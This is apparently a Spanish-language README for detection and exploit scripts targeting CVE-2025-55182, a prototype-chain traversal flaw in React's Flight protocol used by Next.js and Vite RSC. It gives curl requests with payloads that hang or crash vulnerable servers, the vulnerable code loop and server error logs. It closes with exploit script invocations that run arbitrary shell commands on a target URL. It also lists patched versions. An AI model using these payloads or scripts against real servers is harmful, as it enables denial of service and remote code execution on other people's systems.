
Detección y explotación real de CVE-2025-55182. Sin chorradas de LLMs.
Vulnerabilidad del protocolo React Flight que permite el recorrido de la cadena de prototipos mediante referencias a fragmentos. Pruebas contra bullshit-react-project.
Esto está ligeramente desactualizado ya que el PoC real ha sido revelado.
Vite RSC: bash ./vite-detect.sh https://example.com
Next.js: bash ./nextjs-detect.sh https://example.com
O para hacer ambos, solo ejecute bash ./detect.sh https://example.com
Ambos scripts aceptan un parámetro de tiempo de espera opcional (por defecto 3s para Vite, 5s para Next.js).
Envía el encabezado x-rsc-action con el payload $1:toString. Los servidores vulnerables se cuelgan indefinidamente; los servidores parcheados responden normalmente. Primero verifica el endpoint RSC (espera HTTP 500 en acción inválida).
Descubre los IDs de acción del servidor desde la respuesta de la página (patrón $ACTION_ID_<hash>), luego envía:
curl -X POST "http://localhost:3000" \
-H "Next-Action: <action_id>" \
-H "Accept: text/x-component" \
-F '0=["$1:a:a"]' \
-F '1={}'
Los servidores vulnerables se cuelgan; los servidores parcheados responden rápidamente.
Next.js: Actualice a 16.0.7, 15.5.7 o 15.4.8
React (Vite RSC): Actualice a 19.0.1+, 19.1.2+ o 19.2.1+
El protocolo Flight de React permite el recorrido de la cadena de prototipos mediante referencias a fragmentos. La función getOutlinedModel itera a través de rutas de referencia sin comprobaciones hasOwnProperty:
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]];
Esto permite que $1:constructor:constructor recorra {}.constructor.constructor → Function.
Endpoint: Cualquier ruta con el encabezado x-rsc-action
Action ID: 710363d987f5#loginUser (o cualquier acción de servidor válida)
curl -X POST "http://localhost:4173/xyz" \
-H "x-rsc-action: 710363d987f5#loginUser" \
-F '0={"then":"$1:constructor:constructor"}' \
-F '1={"a":"b"}'
Vulnerable: Internal Server Error
Parcheado: Respuesta normal
Tenga en cuenta que obtendrá un error 500 en un servidor parcheado si sus IDs de x-rsc-action son incorrectos. Solo que los registros del servidor diferirán.
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>)
El constructor Function fue invocado a través de .then() cuando el objeto fue awaited. V8 pasa las funciones resolve/reject como argumentos, que se convierten en function () { [native code] } - de ahí el error de sintaxis.
Error: server reference not found '310363d987f5'
at Object.load (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13532:27)
at requireModule (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8302:20)
at loadServerAction (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8326:17)
at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14998:29)
at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
TypeError: Cannot read properties of undefined (reading 'apply')
at AsyncLocalStorage.run (node:internal/async_local_storage/async_context_frame:63:14)
at runWithRequest (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13539:25)
at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14999:27)
at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
No aparecen registros del servidor con un x-rsc-action válido. Puede encontrar el x-rsc-action correcto ejecutando una acción de servidor real y capturando la solicitud en las herramientas de desarrollo.
El payload $1:toString cuelga los servidores vulnerables indefinidamente - esto es lo que usan los scripts de detección. He intentado casi todo pero no he conseguido RCE.
Para Vite Rsc:
bash exploit-vite.sh https://example.com/ 'echo $(id) > /tmp/pwned'
Para NextJS:
bash exploit-nextjs.sh https://example.com/ 'echo $(id) > /tmp/pwned'
Solo hice algunos ajustes y lo adapté para Vite, que es ESM puro y por lo tanto no tiene require.